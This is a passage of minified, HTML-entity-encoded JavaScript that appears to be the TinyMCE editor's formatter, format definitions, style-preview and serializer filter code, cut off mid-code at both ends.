C=a[t].nodeName;if(0!==C.indexOf(&quot;_&quot;)&amp;&amp;0!==C.indexOf(&quot;data-&quot;))return!1}return&quot;none&quot;!==n.remove?(d=e,g=n,h=(m=o).parentNode,v=d.dom,y=d.settings.forced_root_block,g.block&amp;&amp;(y?h===v.getRoot()&amp;&amp;(g.list_block&amp;&amp;dy(m,g.list_block)||fy(Xt.grep(m.childNodes),function(e){wc.isValid(d,y,e.nodeName.toLowerCase())?p?p.appendChild(e):(p=py(v,e,y),v.setAttribs(p,d.settings.forced_root_block_attrs)):p=0})):v.isBlock(m)&amp;&amp;!v.isBlock(h)&amp;&amp;(vy(v,m,!1)||vy(v,m.firstChild,!0,1)||m.insertBefore(v.create(&quot;br&quot;),m.firstChild),vy(v,m,!0)||vy(v,m.lastChild,!1,1)||m.appendChild(v.create(&quot;br&quot;)))),g.selector&amp;&amp;g.inline&amp;&amp;!dy(g.inline,m)||v.remove(m,1),!0):void 0},by=yy,Cy=function(s,c,l,e,f){var t,n,d=s.formatter.get(c),m=d[0],a=!0,u=s.dom,r=s.selection,i=function(e){var n,t,r,o,i,a,u=(n=s,t=e,r=c,o=l,i=f,fy(wc.getParents(n.dom,t.parentNode).reverse(),function(e){var t;a||&quot;_start&quot;===e.id||&quot;_end&quot;===e.id||(t=Mm.matchNode(n,e,r,o,i))&amp;&amp;!1!==t.split&amp;&amp;(a=e)}),a);return function(e,t,n,r,o,i,a,u){var s,c,l,f,d,m,g=e.dom;if(n){for(m=n.parentNode,s=r.parentNode;s&amp;&amp;s!==m;s=s.parentNode){for(c=g.clone(s,!1),d=0;d&lt;t.length;d++)if(yy(e,t[d],u,c,c)){c=0;break}c&amp;&amp;(l&amp;&amp;c.appendChild(l),f||(f=c),l=c)}!i||a.mixed&amp;&amp;g.isBlock(n)||(r=g.split(n,r)),l&amp;&amp;(o.parentNode.insertBefore(l,o),f.appendChild(o))}return r}(s,d,u,e,e,!0,m,l)},g=function(e){var t,n,r,o,i;if(jo.isElement(e)&amp;&amp;u.getContentEditable(e)&amp;&amp;(o=a,a=&quot;true&quot;===u.getContentEditable(e),i=!0),t=Xt.grep(e.childNodes),a&amp;&amp;!i)for(n=0,r=d.length;n&lt;r&amp;&amp;!yy(s,d[n],l,e,e);n++);if(m.deep&amp;&amp;t.length){for(n=0,r=t.length;n&lt;r;n++)g(t[n]);i&amp;&amp;(a=o)}},p=function(e){var t,n=u.get(e?&quot;_start&quot;:&quot;_end&quot;),r=n[e?&quot;firstChild&quot;:&quot;lastChild&quot;];return yc(t=r)&amp;&amp;jo.isElement(t)&amp;&amp;(&quot;_start&quot;===t.id||&quot;_end&quot;===t.id)&amp;&amp;(r=r[e?&quot;firstChild&quot;:&quot;lastChild&quot;]),jo.isText(r)&amp;&amp;0===r.data.length&amp;&amp;(r=e?n.previousSibling||n.nextSibling:n.nextSibling||n.previousSibling),u.remove(n,!0),r},o=function(e){var t,n,r=e.commonAncestorContainer;if(e=Pc(s,e,d,!0),m.split){if(e=Um(e),(t=gy(s,e,!0))!==(n=gy(s,e))){if(/^(TR|TH|TD)$/.test(t.nodeName)&amp;&amp;t.firstChild&amp;&amp;(t=&quot;TR&quot;===t.nodeName?t.firstChild.firstChild||t:t.firstChild||t),r&amp;&amp;/^T(HEAD|BODY|FOOT|R)$/.test(r.nodeName)&amp;&amp;/^(TH|TD)$/.test(n.nodeName)&amp;&amp;n.firstChild&amp;&amp;(n=n.firstChild||n),my(u,t,n)){var o=_.from(t.firstChild).getOr(t);return i(hy(u,o,!0,&quot;span&quot;,{id:&quot;_start&quot;,&quot;data-mce-type&quot;:&quot;bookmark&quot;})),void p(!0)}if(my(u,n,t))return o=_.from(n.lastChild).getOr(n),i(hy(u,o,!1,&quot;span&quot;,{id:&quot;_end&quot;,&quot;data-mce-type&quot;:&quot;bookmark&quot;})),void p(!1);t=py(u,t,&quot;span&quot;,{id:&quot;_start&quot;,&quot;data-mce-type&quot;:&quot;bookmark&quot;}),n=py(u,n,&quot;span&quot;,{id:&quot;_end&quot;,&quot;data-mce-type&quot;:&quot;bookmark&quot;}),i(t),i(n),t=p(!0),n=p()}else t=n=i(t);e.startContainer=t.parentNode?t.parentNode:t,e.startOffset=u.nodeIndex(t),e.endContainer=n.parentNode?n.parentNode:n,e.endOffset=u.nodeIndex(n)+1}Lc(u,e,function(e){fy(e,function(e){g(e),jo.isElement(e)&amp;&amp;&quot;underline&quot;===s.dom.getStyle(e,&quot;text-decoration&quot;)&amp;&amp;e.parentNode&amp;&amp;&quot;underline&quot;===wc.getTextDecoration(u,e.parentNode)&amp;&amp;yy(s,{deep:!1,exact:!0,inline:&quot;span&quot;,styles:{textDecoration:&quot;underline&quot;}},null,e)})})};if(e)e.nodeType?((n=u.createRng()).setStartBefore(e),n.setEndAfter(e),o(n)):o(e);else if(&quot;false&quot;!==u.getContentEditable(r.getNode()))r.isCollapsed()&amp;&amp;m.inline&amp;&amp;!u.select(&quot;td[data-mce-selected],th[data-mce-selected]&quot;).length?function(e,t,n,r){var o,i,a,u,s,c,l,f=e.dom,d=e.selection,m=[],g=d.getRng();for(o=g.startContainer,i=g.startOffset,3===(s=o).nodeType&amp;&amp;(i!==o.nodeValue.length&amp;&amp;(u=!0),s=s.parentNode);s;){if(Mm.matchNode(e,s,t,n,r)){c=s;break}s.nextSibling&amp;&amp;(u=!0),m.push(s),s=s.parentNode}if(c)if(u){a=d.getBookmark(),g.collapse(!0);var p=Pc(e,g,e.formatter.get(t),!0);p=Um(p),e.formatter.remove(t,n,p),d.moveToBookmark(a)}else{l=Qu(e.getBody(),c);var h=$m(!1).dom(),v=Gm(m,h);Xm(e,h,l||c),Wm(e,l,!1),d.setCursorLocation(v,1),f.isEmpty(c)&amp;&amp;f.remove(c)}}(s,c,l,f):(t=Yu.getPersistentBookmark(s.selection,!0),o(r.getRng()),r.moveToBookmark(t),m.inline&amp;&amp;Mm.match(s,c,l,r.getStart())&amp;&amp;wc.moveStart(u,r,r.getRng()),s.nodeChanged());else{e=r.getNode();for(var h=0,v=d.length;h&lt;v&amp;&amp;(!d[h].ceFalseOverride||!yy(s,d[h],l,e,e));h++);}},xy=Xt.each,wy=function(e){return e&amp;&amp;1===e.nodeType&amp;&amp;!yc(e)&amp;&amp;!Ju(e)&amp;&amp;!jo.isBogus(e)},Ny=function(e,t){var n;for(n=e;n;n=n[t]){if(3===n.nodeType&amp;&amp;0!==n.nodeValue.length)return e;if(1===n.nodeType&amp;&amp;!yc(n))return n}return e},Ey=function(e,t,n){var r,o,i=new el(e);if(t&amp;&amp;n&amp;&amp;(t=Ny(t,&quot;previousSibling&quot;),n=Ny(n,&quot;nextSibling&quot;),i.compare(t,n))){for(r=t.nextSibling;r&amp;&amp;r!==n;)r=(o=r).nextSibling,t.appendChild(o);return e.remove(n),Xt.each(Xt.grep(n.childNodes),function(e){t.appendChild(e)}),t}return n},Sy=function(e,t,n){xy(e.childNodes,function(e){wy(e)&amp;&amp;(t(e)&amp;&amp;n(e),e.hasChildNodes()&amp;&amp;Sy(e,t,n))})},Ty=function(n,e){return d(function(e,t){return!(!t||!wc.getStyle(n,t,e))},e)},ky=function(r,e,t){return d(function(e,t,n){r.setStyle(n,e,t),&quot;&quot;===n.getAttribute(&quot;style&quot;)&amp;&amp;n.removeAttribute(&quot;style&quot;),_y(r,n)},e,t)},_y=function(e,t){&quot;SPAN&quot;===t.nodeName&amp;&amp;0===e.getAttribs(t).length&amp;&amp;e.remove(t,!0)},Ay=function(e,t){var n;1===t.nodeType&amp;&amp;t.parentNode&amp;&amp;1===t.parentNode.nodeType&amp;&amp;(n=wc.getTextDecoration(e,t.parentNode),e.getStyle(t,&quot;color&quot;)&amp;&amp;n?e.setStyle(t,&quot;text-decoration&quot;,n):e.getStyle(t,&quot;text-decoration&quot;)===n&amp;&amp;e.setStyle(t,&quot;text-decoration&quot;,null))},Ry=function(n,e,r,o){xy(e,function(t){xy(n.dom.select(t.inline,o),function(e){wy(e)&amp;&amp;by(n,t,r,e,t.exact?e:null)}),function(r,e,t){if(e.clear_child_styles){var n=e.links?&quot;*:not(a)&quot;:&quot;*&quot;;xy(r.select(n,t),function(n){wy(n)&amp;&amp;xy(e.styles,function(e,t){r.setStyle(n,t,&quot;&quot;)})})}}(n.dom,t,o)})},Dy=function(e,t,n,r){(t.styles.color||t.styles.textDecoration)&amp;&amp;(Xt.walk(r,d(Ay,e),&quot;childNodes&quot;),Ay(e,r))},Oy=function(e,t,n,r){t.styles&amp;&amp;t.styles.backgroundColor&amp;&amp;Sy(r,Ty(e,&quot;fontSize&quot;),ky(e,&quot;backgroundColor&quot;,wc.replaceVars(t.styles.backgroundColor,n)))},By=function(e,t,n,r){&quot;sub&quot;!==t.inline&amp;&amp;&quot;sup&quot;!==t.inline||(Sy(r,Ty(e,&quot;fontSize&quot;),ky(e,&quot;fontSize&quot;,&quot;&quot;)),e.remove(e.select(&quot;sup&quot;===t.inline?&quot;sub&quot;:&quot;sup&quot;,r),!0))},Py=function(e,t,n,r){r&amp;&amp;!1!==t.merge_siblings&amp;&amp;(r=Ey(e,wc.getNonWhiteSpaceSibling(r),r),r=Ey(e,r,wc.getNonWhiteSpaceSibling(r,!0)))},Iy=function(t,n,r,o,i){Mm.matchNode(t,i.parentNode,r,o)&amp;&amp;by(t,n,o,i)||n.merge_with_parents&amp;&amp;t.dom.getParent(i.parentNode,function(e){if(Mm.matchNode(t,e,r,o))return by(t,n,o,i),!0})},Ly=Xt.each,Fy=function(g,p,h,r){var e,t,v=g.formatter.get(p),y=v[0],o=!r&amp;&amp;g.selection.isCollapsed(),i=g.dom,n=g.selection,b=function(n,e){if(e=e||y,n){if(e.onformat&amp;&amp;e.onformat(n,e,h,r),Ly(e.styles,function(e,t){i.setStyle(n,t,wc.replaceVars(e,h))}),e.styles){var t=i.getAttrib(n,&quot;style&quot;);t&amp;&amp;n.setAttribute(&quot;data-mce-style&quot;,t)}Ly(e.attributes,function(e,t){i.setAttrib(n,t,wc.replaceVars(e,h))}),Ly(e.classes,function(e){e=wc.replaceVars(e,h),i.hasClass(n,e)||i.addClass(n,e)})}},C=function(e,t){var n=!1;return!!y.selector&amp;&amp;(Ly(e,function(e){if(!(&quot;collapsed&quot;in e&amp;&amp;e.collapsed!==o))return i.is(t,e.selector)&amp;&amp;!Ju(t)?(b(t,e),!(n=!0)):void 0}),n)},a=function(s,e,t,c){var l,f,d=[],m=!0;l=y.inline||y.block,f=s.create(l),b(f),Lc(s,e,function(e){var a,u=function(e){var t,n,r,o;if(o=m,t=e.nodeName.toLowerCase(),n=e.parentNode.nodeName.toLowerCase(),1===e.nodeType&amp;&amp;s.getContentEditable(e)&amp;&amp;(o=m,m=&quot;true&quot;===s.getContentEditable(e),r=!0),wc.isEq(t,&quot;br&quot;))return a=0,void(y.block&amp;&amp;s.remove(e));if(y.wrapper&amp;&amp;Mm.matchNode(g,e,p,h))a=0;else{if(m&amp;&amp;!r&amp;&amp;y.block&amp;&amp;!y.wrapper&amp;&amp;wc.isTextBlock(g,t)&amp;&amp;wc.isValid(g,n,l))return e=s.rename(e,l),b(e),d.push(e),void(a=0);if(y.selector){var i=C(v,e);if(!y.inline||i)return void(a=0)}!m||r||!wc.isValid(g,l,t)||!wc.isValid(g,n,l)||!c&amp;&amp;3===e.nodeType&amp;&amp;1===e.nodeValue.length&amp;&amp;65279===e.nodeValue.charCodeAt(0)||Ju(e)||y.inline&amp;&amp;s.isBlock(e)?(a=0,Ly(Xt.grep(e.childNodes),u),r&amp;&amp;(m=o),a=0):(a||(a=s.clone(f,!1),e.parentNode.insertBefore(a,e),d.push(a)),a.appendChild(e))}};Ly(e,u)}),!0===y.links&amp;&amp;Ly(d,function(e){var t=function(e){&quot;A&quot;===e.nodeName&amp;&amp;b(e,y),Ly(Xt.grep(e.childNodes),t)};t(e)}),Ly(d,function(e){var t,n,r,o,i,a=function(e){var n=!1;return Ly(e.childNodes,function(e){if((t=e)&amp;&amp;1===t.nodeType&amp;&amp;!yc(t)&amp;&amp;!Ju(t)&amp;&amp;!jo.isBogus(t))return n=e,!1;var t}),n};n=0,Ly(e.childNodes,function(e){wc.isWhiteSpaceNode(e)||yc(e)||n++}),t=n,!(1&lt;d.length)&amp;&amp;s.isBlock(e)||0!==t?(y.inline||y.wrapper)&amp;&amp;(y.exact||1!==t||((o=a(r=e))&amp;&amp;!yc(o)&amp;&amp;Mm.matchName(s,o,y)&amp;&amp;(i=s.clone(o,!1),b(i),s.replace(i,r,!0),s.remove(o,1)),e=i||r),Ry(g,v,h,e),Iy(g,y,p,h,e),Oy(s,y,h,e),By(s,y,h,e),Py(s,y,h,e)):s.remove(e,1)})};if(&quot;false&quot;!==i.getContentEditable(n.getNode())){if(y){if(r)r.nodeType?C(v,r)||((t=i.createRng()).setStartBefore(r),t.setEndAfter(r),a(i,Pc(g,t,v),0,!0)):a(i,r,0,!0);else if(o&amp;&amp;y.inline&amp;&amp;!i.select(&quot;td[data-mce-selected],th[data-mce-selected]&quot;).length)!function(e,t,n){var r,o,i,a,u,s,c=e.selection;a=(r=c.getRng(!0)).startOffset,s=r.startContainer.nodeValue,(o=Qu(e.getBody(),c.getStart()))&amp;&amp;(i=qm(o));var l,f,d=/[^\s\u00a0\u00ad\u200b\ufeff]/;s&amp;&amp;0&lt;a&amp;&amp;a&lt;s.length&amp;&amp;d.test(s.charAt(a))&amp;&amp;d.test(s.charAt(a-1))?(u=c.getBookmark(),r.collapse(!0),r=Pc(e,r,e.formatter.get(t)),r=Um(r),e.formatter.apply(t,n,r),c.moveToBookmark(u)):(o&amp;&amp;i.nodeValue===jm||(l=e.getDoc(),f=$m(!0).dom(),i=(o=l.importNode(f,!0)).firstChild,r.insertNode(o),a=1),e.formatter.apply(t,n,o),c.setCursorLocation(i,a))}(g,p,h);else{var u=g.selection.getNode();g.settings.forced_root_block||!v[0].defaultBlock||i.getParent(u,i.isBlock)||Fy(g,v[0].defaultBlock),g.selection.setRng(cl(g.selection.getRng())),e=Yu.getPersistentBookmark(g.selection,!0),a(i,Pc(g,n.getRng(),v)),y.styles&amp;&amp;Dy(i,y,h,u),n.moveToBookmark(e),wc.moveStart(i,n,n.getRng()),g.nodeChanged()}cy(p,g)}}else{r=n.getNode();for(var s=0,c=v.length;s&lt;c;s++)if(v[s].ceFalseOverride&amp;&amp;i.is(r,v[s].selector))return void b(r,v[s])}},My={applyFormat:Fy},zy=Xt.each,Uy=function(e,t,n,r,o){var i,a,u,s,c,l,f,d;null===t.get()&amp;&amp;(a=e,u={},(i=t).set({}),a.on(&quot;NodeChange&quot;,function(n){var r=wc.getParents(a.dom,n.element),o={};r=Xt.grep(r,function(e){return 1===e.nodeType&amp;&amp;!e.getAttribute(&quot;data-mce-bogus&quot;)}),zy(i.get(),function(e,n){zy(r,function(t){return a.formatter.matchNode(t,n,{},e.similar)?(u[n]||(zy(e,function(e){e(!0,{node:t,format:n,parents:r})}),u[n]=e),o[n]=e,!1):!Mm.matchesUnInheritedFormatSelector(a,t,n)&amp;&amp;void 0})}),zy(u,function(e,t){o[t]||(delete u[t],zy(e,function(e){e(!1,{node:n.element,format:t,parents:r})}))})})),c=n,l=r,f=o,d=(s=t).get(),zy(c.split(&quot;,&quot;),function(e){d[e]||(d[e]=[],d[e].similar=f),d[e].push(l)}),s.set(d)},jy={get:function(r){var t={valigntop:[{selector:&quot;td,th&quot;,styles:{verticalAlign:&quot;top&quot;}}],valignmiddle:[{selector:&quot;td,th&quot;,styles:{verticalAlign:&quot;middle&quot;}}],valignbottom:[{selector:&quot;td,th&quot;,styles:{verticalAlign:&quot;bottom&quot;}}],alignleft:[{selector:&quot;figure.image&quot;,collapsed:!1,classes:&quot;align-left&quot;,ceFalseOverride:!0,preview:&quot;font-family font-size&quot;},{selector:&quot;figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li&quot;,styles:{textAlign:&quot;left&quot;},inherit:!1,preview:!1,defaultBlock:&quot;div&quot;},{selector:&quot;img,table&quot;,collapsed:!1,styles:{&quot;float&quot;:&quot;left&quot;},preview:&quot;font-family font-size&quot;}],aligncenter:[{selector:&quot;figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li&quot;,styles:{textAlign:&quot;center&quot;},inherit:!1,preview:&quot;font-family font-size&quot;,defaultBlock:&quot;div&quot;},{selector:&quot;figure.image&quot;,collapsed:!1,classes:&quot;align-center&quot;,ceFalseOverride:!0,preview:&quot;font-family font-size&quot;},{selector:&quot;img&quot;,collapsed:!1,styles:{display:&quot;block&quot;,marginLeft:&quot;auto&quot;,marginRight:&quot;auto&quot;},preview:!1},{selector:&quot;table&quot;,collapsed:!1,styles:{marginLeft:&quot;auto&quot;,marginRight:&quot;auto&quot;},preview:&quot;font-family font-size&quot;}],alignright:[{selector:&quot;figure.image&quot;,collapsed:!1,classes:&quot;align-right&quot;,ceFalseOverride:!0,preview:&quot;font-family font-size&quot;},{selector:&quot;figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li&quot;,styles:{textAlign:&quot;right&quot;},inherit:!1,preview:&quot;font-family font-size&quot;,defaultBlock:&quot;div&quot;},{selector:&quot;img,table&quot;,collapsed:!1,styles:{&quot;float&quot;:&quot;right&quot;},preview:&quot;font-family font-size&quot;}],alignjustify:[{selector:&quot;figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li&quot;,styles:{textAlign:&quot;justify&quot;},inherit:!1,defaultBlock:&quot;div&quot;,preview:&quot;font-family font-size&quot;}],bold:[{inline:&quot;strong&quot;,remove:&quot;all&quot;},{inline:&quot;span&quot;,styles:{fontWeight:&quot;bold&quot;}},{inline:&quot;b&quot;,remove:&quot;all&quot;}],italic:[{inline:&quot;em&quot;,remove:&quot;all&quot;},{inline:&quot;span&quot;,styles:{fontStyle:&quot;italic&quot;}},{inline:&quot;i&quot;,remove:&quot;all&quot;}],underline:[{inline:&quot;span&quot;,styles:{textDecoration:&quot;underline&quot;},exact:!0},{inline:&quot;u&quot;,remove:&quot;all&quot;}],strikethrough:[{inline:&quot;span&quot;,styles:{textDecoration:&quot;line-through&quot;},exact:!0},{inline:&quot;strike&quot;,remove:&quot;all&quot;}],forecolor:{inline:&quot;span&quot;,styles:{color:&quot;%value&quot;},links:!0,remove_similar:!0,clear_child_styles:!0},hilitecolor:{inline:&quot;span&quot;,styles:{backgroundColor:&quot;%value&quot;},links:!0,remove_similar:!0,clear_child_styles:!0},fontname:{inline:&quot;span&quot;,toggle:!1,styles:{fontFamily:&quot;%value&quot;},clear_child_styles:!0},fontsize:{inline:&quot;span&quot;,toggle:!1,styles:{fontSize:&quot;%value&quot;},clear_child_styles:!0},fontsize_class:{inline:&quot;span&quot;,attributes:{&quot;class&quot;:&quot;%value&quot;}},blockquote:{block:&quot;blockquote&quot;,wrapper:1,remove:&quot;all&quot;},subscript:{inline:&quot;sub&quot;},superscript:{inline:&quot;sup&quot;},code:{inline:&quot;code&quot;},link:{inline:&quot;a&quot;,selector:&quot;a&quot;,remove:&quot;all&quot;,split:!0,deep:!0,onmatch:function(){return!0},onformat:function(n,e,t){Xt.each(t,function(e,t){r.setAttrib(n,t,e)})}},removeformat:[{selector:&quot;b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,del,ins&quot;,remove:&quot;all&quot;,split:!0,expand:!1,block_expand:!0,deep:!0},{selector:&quot;span&quot;,attributes:[&quot;style&quot;,&quot;class&quot;],remove:&quot;empty&quot;,split:!0,expand:!1,deep:!0},{selector:&quot;*&quot;,attributes:[&quot;style&quot;,&quot;class&quot;],split:!1,expand:!1,deep:!0}]};return Xt.each(&quot;p h1 h2 h3 h4 h5 h6 div address pre div dt dd samp&quot;.split(/\s/),function(e){t[e]={block:e,remove:&quot;all&quot;}}),t}},Vy=Xt.each,Hy=Si.DOM,qy=function(e,t){var n,o,r,m=t&amp;&amp;t.schema||di({}),g=function(e){var t,n,r;return o=&quot;string&quot;==typeof e?{name:e,classes:[],attrs:{}}:e,t=Hy.create(o.name),n=t,(r=o).classes.length&amp;&amp;Hy.addClass(n,r.classes.join(&quot; &quot;)),Hy.setAttribs(n,r.attrs),t},p=function(n,e,t){var r,o,i,a,u,s,c,l,f=0&lt;e.length&amp;&amp;e[0],d=f&amp;&amp;f.name;if(u=d,s=&quot;string&quot;!=typeof(a=n)?a.nodeName.toLowerCase():a,c=m.getElementRule(s),i=!(!(l=c&amp;&amp;c.parentsRequired)||!l.length)&amp;&amp;(u&amp;&amp;-1!==Xt.inArray(l,u)?u:l[0]))d===i?(o=e[0],e=e.slice(1)):o=i;else if(f)o=e[0],e=e.slice(1);else if(!t)return n;return o&amp;&amp;(r=g(o)).appendChild(n),t&amp;&amp;(r||(r=Hy.create(&quot;div&quot;)).appendChild(n),Xt.each(t,function(e){var t=g(e);r.insertBefore(t,n)})),p(r,e,o&amp;&amp;o.siblings)};return e&amp;&amp;e.length?(o=e[0],n=g(o),(r=Hy.create(&quot;div&quot;)).appendChild(p(n,e.slice(1),o.siblings)),r):&quot;&quot;},$y=function(e){var t,a={classes:[],attrs:{}};return&quot;*&quot;!==(e=a.selector=Xt.trim(e))&amp;&amp;(t=e.replace(/(?:([#\.]|::?)([\w\-]+)|(\[)([^\]]+)\]?)/g,function(e,t,n,r,o){switch(t){case&quot;#&quot;:a.attrs.id=n;break;case&quot;.&quot;:a.classes.push(n);break;case&quot;:&quot;:-1!==Xt.inArray(&quot;checked disabled enabled read-only required&quot;.split(&quot; &quot;),n)&amp;&amp;(a.attrs[n]=n)}if(&quot;[&quot;===r){var i=o.match(/([\w\-]+)(?:\=\&quot;([^\&quot;]+))?/);i&amp;&amp;(a.attrs[i[1]]=i[2])}return&quot;&quot;})),a.name=t||&quot;div&quot;,a},Wy=function(e){return e&amp;&amp;&quot;string&quot;==typeof e?(e=(e=e.split(/\s*,\s*/)[0]).replace(/\s*(~\+|~|\+|&gt;)\s*/g,&quot;$1&quot;),Xt.map(e.split(/(?:&gt;|\s+(?![^\[\]]+\]))/),function(e){var t=Xt.map(e.split(/(?:~\+|~|\+)/),$y),n=t.pop();return t.length&amp;&amp;(n.siblings=t),n}).reverse()):[]},Ky=function(n,e){var t,r,o,i,a,u,s=&quot;&quot;;if(!1===(u=n.settings.preview_styles))return&quot;&quot;;&quot;string&quot;!=typeof u&amp;&amp;(u=&quot;font-family font-size font-weight font-style text-decoration text-transform color background-color border border-radius outline text-shadow&quot;);var c=function(e){return e.replace(/%(\w+)/g,&quot;&quot;)};if(&quot;string&quot;==typeof e){if(!(e=n.formatter.get(e)))return;e=e[0]}return&quot;preview&quot;in e&amp;&amp;!1===(u=e.preview)?&quot;&quot;:(t=e.block||e.inline||&quot;span&quot;,(i=Wy(e.selector)).length?(i[0].name||(i[0].name=t),t=e.selector,r=qy(i,n)):r=qy([t],n),o=Hy.select(t,r)[0]||r.firstChild,Vy(e.styles,function(e,t){(e=c(e))&amp;&amp;Hy.setStyle(o,t,e)}),Vy(e.attributes,function(e,t){(e=c(e))&amp;&amp;Hy.setAttrib(o,t,e)}),Vy(e.classes,function(e){e=c(e),Hy.hasClass(o,e)||Hy.addClass(o,e)}),n.fire(&quot;PreviewFormats&quot;),Hy.setStyles(r,{position:&quot;absolute&quot;,left:-65535}),n.getBody().appendChild(r),a=Hy.getStyle(n.getBody(),&quot;fontSize&quot;,!0),a=/px$/.test(a)?parseInt(a,10):0,Vy(u.split(&quot; &quot;),function(e){var t=Hy.getStyle(o,e,!0);if(!(&quot;background-color&quot;===e&amp;&amp;/transparent|rgba\s*\([^)]+,\s*0\)/.test(t)&amp;&amp;(t=Hy.getStyle(n.getBody(),e,!0),&quot;#ffffff&quot;===Hy.toHex(t).toLowerCase())||&quot;color&quot;===e&amp;&amp;&quot;#000000&quot;===Hy.toHex(t).toLowerCase())){if(&quot;font-size&quot;===e&amp;&amp;/em|%$/.test(t)){if(0===a)return;t=parseFloat(t)/(/%$/.test(t)?100:1)*a+&quot;px&quot;}&quot;border&quot;===e&amp;&amp;t&amp;&amp;(s+=&quot;padding:0 2px;&quot;),s+=e+&quot;:&quot;+t+&quot;;&quot;}}),n.fire(&quot;AfterPreviewFormats&quot;),Hy.remove(r),s)},Xy=function(e,t,n,r,o){var i=t.get(n);!Mm.match(e,n,r,o)||&quot;toggle&quot;in i[0]&amp;&amp;!i[0].toggle?My.applyFormat(e,n,r,o):Cy(e,n,r,o)},Yy=function(e){e.addShortcut(&quot;meta+b&quot;,&quot;&quot;,&quot;Bold&quot;),e.addShortcut(&quot;meta+i&quot;,&quot;&quot;,&quot;Italic&quot;),e.addShortcut(&quot;meta+u&quot;,&quot;&quot;,&quot;Underline&quot;);for(var t=1;t&lt;=6;t++)e.addShortcut(&quot;access+&quot;+t,&quot;&quot;,[&quot;FormatBlock&quot;,!1,&quot;h&quot;+t]);e.addShortcut(&quot;access+7&quot;,&quot;&quot;,[&quot;FormatBlock&quot;,!1,&quot;p&quot;]),e.addShortcut(&quot;access+8&quot;,&quot;&quot;,[&quot;FormatBlock&quot;,!1,&quot;div&quot;]),e.addShortcut(&quot;access+9&quot;,&quot;&quot;,[&quot;FormatBlock&quot;,!1,&quot;address&quot;])};function Gy(e){var t,n,r,o=(t=e,n={},(r=function(e,t){e&amp;&amp;(&quot;string&quot;!=typeof e?Xt.each(e,function(e,t){r(t,e)}):(t=t.length?t:[t],Xt.each(t,function(e){&quot;undefined&quot;==typeof e.deep&amp;&amp;(e.deep=!e.selector),&quot;undefined&quot;==typeof e.split&amp;&amp;(e.split=!e.selector||e.inline),&quot;undefined&quot;==typeof e.remove&amp;&amp;e.selector&amp;&amp;!e.inline&amp;&amp;(e.remove=&quot;none&quot;),e.selector&amp;&amp;e.inline&amp;&amp;(e.mixed=!0,e.block_expand=!0),&quot;string&quot;==typeof e.classes&amp;&amp;(e.classes=e.classes.split(/\s+/))}),n[e]=t))})(jy.get(t.dom)),r(t.settings.formats),{get:function(e){return e?n[e]:n},register:r,unregister:function(e){return e&amp;&amp;n[e]&amp;&amp;delete n[e],n}}),i=Hi(null);return Yy(e),Jm(e),{get:o.get,register:o.register,unregister:o.unregister,apply:d(My.applyFormat,e),remove:d(Cy,e),toggle:d(Xy,e,o),match:d(Mm.match,e),matchAll:d(Mm.matchAll,e),matchNode:d(Mm.matchNode,e),canApply:d(Mm.canApply,e),formatChanged:d(Uy,e,i),getCssText:d(Ky,e)}}var Jy,Qy=Object.prototype.hasOwnProperty,Zy=(Jy=function(e,t){return t},function(){for(var e=new Array(arguments.length),t=0;t&lt;e.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error(&quot;Can&#039;t merge zero objects&quot;);for(var n={},r=0;r&lt;e.length;r++){var o=e[r];for(var i in o)Qy.call(o,i)&amp;&amp;(n[i]=Jy(n[i],o[i]))}return n}),eb={register:function(t,s,c){t.addAttributeFilter(&quot;data-mce-tabindex&quot;,function(e,t){for(var n,r=e.length;r--;)(n=e[r]).attr(&quot;tabindex&quot;,n.attributes.map[&quot;data-mce-tabindex&quot;]),n.attr(t,null)}),t.addAttributeFilter(&quot;src,href,style&quot;,function(e,t){for(var n,r,o=e.length,i=&quot;data-mce-&quot;+t,a=s.url_converter,u=s.url_converter_scope;o--;)(r=(n=e[o]).attributes.map[i])!==undefined?(n.attr(t,0&lt;r.length?r:null),n.attr(i,null)):(r=n.attributes.map[t],&quot;style&quot;===t?r=c.serializeStyle(c.parseStyle(r),n.name):a&amp;&amp;(r=a.call(u,r,t,n.name)),n.attr(t,0&lt;r.length?r:null))}),t.addAttributeFilter(&quot;class&quot;,function(e){for(var t,n,r=e.length;r--;)(n=(t=e[r]).attr(&quot;class&quot;))&amp;&amp;(n=t.attr(&quot;class&quot;).replace(/(?:^|\s)mce-item-\w+(?!\S)/g,&quot;&quot;),t.attr(&quot;class&quot;,0&lt;n.length?n:null))}),t.addAttributeFilter(&quot;data-mce-type&quot;,function(e,t,n){for(var r,o=e.length;o--;)&quot;bookmark&quot;!==(r=e[o]).attributes.map[&quot;data-mce-type&quot;]||n.cleanup||(_.from(r.firstChild).exists(function(e){return!Ca(e.value)})?r.unwrap():r.remove())}),t.addNodeFilter(&quot;noscript&quot;,function(e){for(var t,n=e.length;n--;)(t=e[n].firstChild)&amp;&amp;(t.value=ti.decode(t.value))}),t.addNodeFilter(&quot;script,style&quot;,function(e,t){for(var n,r,o,i=e.length,a=function(e){return e.replace(/(&lt;!--\[CDATA\[|\]\]--&gt;)/g,&quot;\n&quot;).replace(/^[\r\n]*|[\r\n]*$/g,&quot;&quot;).replace(/^\s*((&lt;!--)?(\s*\/\/)?\s*&lt;!\[CDATA\[|(&lt;!--\s*)?\/\*\s*&lt;!\[CDATA\[\s*\*\/|(\/\/)?\s*&lt;!--|\/\*\s*&lt;!--\s*\*\/)\s*[\r\n]*/gi,&quot;&quot;).replace(/\s*(\/\*\s*\]\]&gt;\s*\*\/(--&gt;)?|\s*\/\/\s*\]\]&gt;(--&gt;)?|\/\/\s*(--&gt;)?|\]\]&gt;|\/\*\s*--&gt;\s*\*\/|\s*--&gt;\s*)\s*$/g,&quot;&quot;)};i--;)r=(n=e[i]).firstChild?n.firstChild.value:&quot;&quot;,&quot;script&quot;===t?((o=n.attr(&quot;type&quot;))&amp;&amp;n.attr(&quot;type&quot;,&quot;mce-no/type&quot;===o?null:o.replace(/^mce\-/,&quot;&quot;)),&quot;xhtml&quot;===s.element_format&amp;&amp;0&lt;r.length&amp;&amp;(n.firstChild.value=&quot;// &lt;![CDATA[\n&quot;+a(r)+&quot;\n// 